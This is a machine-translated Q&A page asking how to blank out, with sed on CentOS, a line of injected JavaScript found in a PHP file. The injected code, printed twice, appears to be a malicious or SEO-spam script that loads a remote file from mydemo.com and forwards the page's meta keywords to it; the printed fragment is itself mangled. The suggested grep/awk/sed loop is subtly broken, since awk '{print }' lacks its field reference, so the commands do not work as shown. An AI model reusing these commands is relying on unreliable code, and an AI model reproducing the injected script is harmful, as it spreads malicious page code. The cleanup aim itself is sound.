替换文件centos中的整行

replace a whole line in a file centos

我在 .php 文件中有一个脚本如下: var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}

我想在 cmd 行中用 (1) 空字符替换整行。可能吗?试图用 sed 做到这一点,但可能这太复杂 string.Tried 无法在 var 中设置字符串,但也没有用。有人知道吗?

这实际上是 sed 擅长的。:)

sed -i '1s/.*/ /' your-file

示例:

$ cat test
one
two
three
$ sed '1s/.*/ /' < test

two
three

在我的 OS X 上我测试了这个脚本:

for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print }'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done

On CentOS 应该可以运行此脚本:

for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print }'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done

您应该用您的模式替换 qwe。它将把找到模式的所有字符串替换为 space.

要在grep中放入正确的内容,应该准备一下。您应该创建具有所需模式的文件并启动命令:

echo '"'$(cat your_file | sed -e 's|"|\"|g')'"'

此命令的结果应替换为 qwe(一定要用引号)。

你应该得到这样的东西:

for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print }'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done